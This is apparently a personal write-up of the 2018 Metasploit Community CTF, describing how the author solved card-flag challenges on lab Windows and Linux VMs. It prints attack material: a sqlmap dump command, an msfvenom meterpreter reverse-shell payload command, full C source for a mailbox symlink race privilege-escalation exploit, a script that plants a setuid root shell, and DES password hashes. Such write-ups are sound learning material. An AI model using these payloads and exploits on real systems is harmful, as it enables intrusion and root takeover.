Last weekend I participated in the 2018 Metasploit Community CTF. It was a nice break from the Jeopardy style, exploitation heavy CTFs I tend to play in. The setup included two vulnerable VMs, 1 windows, 1 linux ( with a bunch of dockers), and one Kali attack VM. This was the first Metasploit CTF I’ve participated in so it took some time adjusting to the style of challenges, the flag format (md5sum of images), and scoring system. Overall it had some interesting challenges and I’m glad the organizers opened it up to everyone to play.

8 OF DIAMONDS

Scans of the Linux machine showed port 8181 to be open and running a webserver. Navigating to the website shows a troll card for the 8 of diamonds. Looking at the source we see there is a heavily obfuscated javascript file responsible for rendering the image. Rather than waste time trying to beautify the script with online tools, I just opened up the developer tools in my browser and started to step through the variable assignments. The vast majority of the code is assigning data to the H variable.

Inspecting the variable H after assignment, it is an array with two Base64 PNGs elements. Copying them out, one is the troll and the other the flag.

3 OF DIAMONDS

Scans of the Linux machine showed port 8880 to be open and running a webserver. Navigating to the website reveals a file upload/download application with uploading disabled. When trying to retrieve an image the URL called is http://172.16.23.133:8880/load.php?KEY=. My initial thought is this is either a local file include vulnerability or SQL injection. Loading the URL up in Burp Suite’s Intruder, I get an error message when a quote (“) is put after KEY=.

MySQL error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘”‘ at line 1

The next step was to run sqlmap with the following command to dump out the database and hopefully any juicy flags inside it.

sqlmap -v6 -u http://172.16.23.133:8880/load.php?KEY=a -p KEY –dbms MYSQL –dump

After a couple of minutes, sqlmap has dumped out the 3_of_diamonds flag and what appears to be a key for the ace_of_hearts.

9 OF HEARTS

Scans of the Windows machine revealed a strangely behaving port open on 4444. After connecting to the port it sent a large amount of data that proved to be a windows binary. Opening up the binary in IDA we see it is a 32bit Windows service. The service reads in 1024 bytes from the socket. It then appends this data to a  16 byte debug message that is in another buffer that is also 1024 bytes. This means if the user sends a string of 1024 bytes, it will cause a buffer overflow.

With the help of Corelan’s mona.py and Immunity Debugger, I developed an exploit that would pivot the stack back to my controlled buffer and begin executing meterpreter shellcode on the stack. Since the vulnerable code requires a string as input, I used the alpha_mixed shellcode encoder to avoid bad characters like null bytes and newlines. Feel free to check out my POC on Github.

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LPORT=6666 LHOST=172.16.23.132 -e x86/alpha_mixed BufferRegister=EAX -f python

Running the exploit gave us a reverse shell on the Windows box, from which point I changed the password to the Administrator account and RDP-ed in. Once on the box, I found a README that said to navigate to port 8777 on the Linux machine to download the 9_of_hearts.png file. After downloading the file, I noticed that it appeared to be corrupted. It looked like every two bytes had been swapped. I quickly scripted up some python to switch the bytes and write out the new file.

[sourcecode language=”python”] f = open(‘9_of_hearts.png’, ‘rb’)
data = f.read()
f.close()

f = open(‘9_of_hearts_fixed.png’, ‘wb’)
file_len = len(data)
for i in range(0, file_len, 2 ):
if i+2 < file_len:
tuple_str = data[i:i+2] f.write(tuple_str[1])
f.write(tuple_str[0])
else:
f.write(data[i])
f.close()[/sourcecode]

ACE OF HEARTS

The ace_of_hearts.png.gpg file was found on the Windows system along with the README and assorted other challenge files. I used the private key dumped from the SQL database to decrypt the file and retrieve the ace_of_hearts image.

2 OF CLUBS

The organizers gave hints that this flag was hidden and to use wbemtest to look for it. After some poking around the WMI database with WMI Explorer, I found the base64 encoded file chunks and extracted them with Powershell.

QUEEN OF CLUBS

Looking around the Windows machine I also found the queen_of_clubs.eml file. This file was a saved email message with an embedded image, the queen_of_clubs. I attempted to pull the Base64 image out of the file directly but the MD5 didn’t match so I used a tool called Altap Salamader that happily extracted the image.

10 OF DIAMONDS

The 10_of_diamonds executable was located in the same folder as the README on the windows system. Opening the application in IDA Pro revealed a non-traditional compilation with obfuscated system calls. Rather than waste time doing much static analysis, I decided to setup a test system and walk through the code. The calling convention for imported functions was pretty straight forward. It would get the current address, and then call a function at a constant offset from it. Stepping through the code, I found it was opening a file, reading in a key, and eventually XOR-ing it against some data. There is a final strcmp after a huge function with lots of calculations, so I just dropped a breakpoint and read the key.

After checking the key, the binary output the flag to disk.

10 OF HEARTS

Scans of the Linux machine showed an interesting port open on 8080.

PORT STATE SERVICE
8080/tcp open http-proxy
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Struts2 Showcase
|_Requested resource was showcase.action
MAC Address: 0A:91:5E:00:1A:3E (Unknown)

A quick search in metasploit turned up a exploit that looked like it might be appropriate given the showcase keyword that matched in both.

Firing off the exploit gave us a reverse shell and I was able to locate the 10_of_hearts in the tomcat tmp directory by searching the file system for the somewhat standard flag format using the command below:

 find / -type f -name “*_of_*”

3 OF CLUBS

I found this flag running dirb for like 6 hours using a giant dictionary. I read later this was a gimme if you read some Terms of Service document.

KING OF DIAMONDS

The nmap scan showed port 2222 on the Linux machine was running libssh.

2222/tcp open EtherNetIP-1 – libssh

I recalled seeing a exploit for libssh being released recently so I went to metasploit again to search.

Once on the box, I looked around for quite some time and couldn’t find much interesting. The system was a docker instance with almost nothing on it except the custom SSH that was running. I pulled back the ssh_server_fork and opened it up in IDA to see if the flag was embedded somewhere in it. Unfortunately, I didn’t find a flag, only the username and password for the SSH server.

My assumption was that maybe this box could reach other systems and it was meant to be a pivot. I setup some port forwards and scanned around to find several of the challenges also had internal IPs accessible from this box. I didn’t find any additional access however. This is where I stopped on this challenge.

2 OF DIAMONDS

Scanning the linux system on port 25 shows the box is running a very old version of Sendmail.

25/tcp open smtp – Sendmail 5.51/5.17 –

Searching for sendmail in Metasploit lists several possible exploits with one matching the version perfectly. A little more research show the exploit was just recently published so it is likely meant for the CTF.

Running the exploit returned me a reverse shell on what appears to be an ancient BSD system. After performing a little bit of system enumeration,  I found my process is running as daemon and I have read access to a handful of interesting files. The first is the /etc/passwd file of which I can see actual DES password hashes.


van:STpwu/Ggmk78A:40:31:& Jacobson:/usr/guest/van:/bin/csh
rich:uxxJaRZvgyiPg:41:31:& Hyde:/usr/guest/rich:/bin/csh
jim:.6s.pzMqjyMrU:42:10:& McKie:/usr/guest/jim:/bin/csh
donn:5cJ5uHclmVJKA:43:31:& Seeley:/usr/guest/donn:/bin/csh
falcon:.MTZpW8TC8tqs:32766:31:Prof. Steven &:/usr/games:/usr/games/wargames
hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh

The second interesting file is the mail file for the hunter user

cat /usr/spool/mail/hunter
From cliff Wed Sep 10 12:34:42 1986
Received: by 2-of-diamonds (5.51/5.17)
id AA00579; Wed, 10 Sep 86 12:34:42 PDT
Date: Wed, 10 Sep 86 12:34:42 PDT
From: cliff (Cliff Stoll)
Message-Id: <8610210434.AA00579@2-of-diamonds>
To: mcnatt@26.0.0.113
Subject: What do you know about the nesting habits of cuckoos?
Status: RO

He went looking for your Gnu-Emacs move-mail file.

I also found two files that are only readable by root in the games directory called adventure and 2_of_diamonds.dat.

I did some research on the move-mail and cuckoos hint. I read about the Cuckoo’s Egg and how a hacker escalated privilege on the system using the move-mail application. From here I searched for the file but couldn’t find it on the file system. My next thought was to try and crack the hash for hunter found in the passwd file. Feeding the hash to john the ripper with the rockyou wordlist returned nothing so I gave up.

At this point I found another exploit in ExploitDB that was supposedly present on the original BSD systems. I modified the exploit, as some of the libraries weren’t present on the system, and used echo and paste to create the file.

echo “#include <stdio.h>” >> test.c
echo ‘#include <fcntl.h>’ >> test.c
echo “” >> test.c
echo “#include <sys/types.h>” >> test.c
echo “#include <sys/stat.h>” >> test.c
echo “” >> test.c
echo ‘#define STEALPATH “/usr/lib/atrun”‘ >> test.c
echo ‘#define MAILBOX “/usr/spool/mail/daemon”‘ >> test.c
echo “” >> test.c
echo ‘int main() {‘ >> test.c
echo ‘int fd;’ >> test.c
echo ‘int uid;’ >> test.c
echo ‘ struct stat sb;’ >> test.c
echo ” >> test.c
echo ‘uid = getuid();’ >> test.c
echo ‘ for(;;) {‘ >> test.c
echo ‘ unlink(MAILBOX);’ >> test.c
echo ‘ symlink(STEALPATH, MAILBOX);’ >> test.c
echo ‘ sync();’ >> test.c
echo ‘ unlink(MAILBOX);’ >> test.c
echo ‘ fd = open(MAILBOX, 0x0100, 0x0000400 | 0x0000200);’ >> test.c
echo ‘ close(fd);’ >> test.c
echo ‘ sync();’ >> test.c
echo ‘ if (lstat(STEALPATH, &sb) == 0) {‘ >> test.c
echo ‘ if (sb.st_uid == uid) {‘ >> test.c
echo ‘ fprintf(stderr, “[+] won race!\n”);’ >> test.c
echo ‘ return 0;’ >> test.c
echo ‘ }’ >> test.c
echo ‘ }’ >> test.c
echo ‘ }’ >> test.c
echo ” >> test.c
echo ‘ /* NOTREACHED */’ >> test.c
echo ‘ return 1;’ >> test.c
echo ‘}’ >> test.c

cc -o test test.c

The exploit is a race condition that allows you to change the permissions on any file on the file system. I chose the /usr/lib/atrun binary because cron executes it every 15 mins as root. After compiling the exploit I start the race.

while true ; do echo x | /bin/mail daemon 2> /dev/null ; done &
./test &

This actually didn’t work for a while and I realized I probably needed to increase the chances of my exploit winning the race by running my exploit multiple times. After about 3 instances, it was 100% reliable. Having changed permissions on atrun, I then overwrote it with the following shell script to make a copy of the system shell and set the suid bit.

echo ‘#! /bin/sh’ > /usr/lib/atrun
echo ‘cp /bin/sh /tmp/sh’ >> /usr/lib/atrun
echo ‘chown root.daemon /tmp/sh’ >> /usr/lib/atrun
echo ‘chmod 4777 /tmp/sh’ >> /usr/lib/atrun

At this point I downloaded the adventure binary and the 2_of_diamonds binary using uuencode but was unable beat the game before time concluded.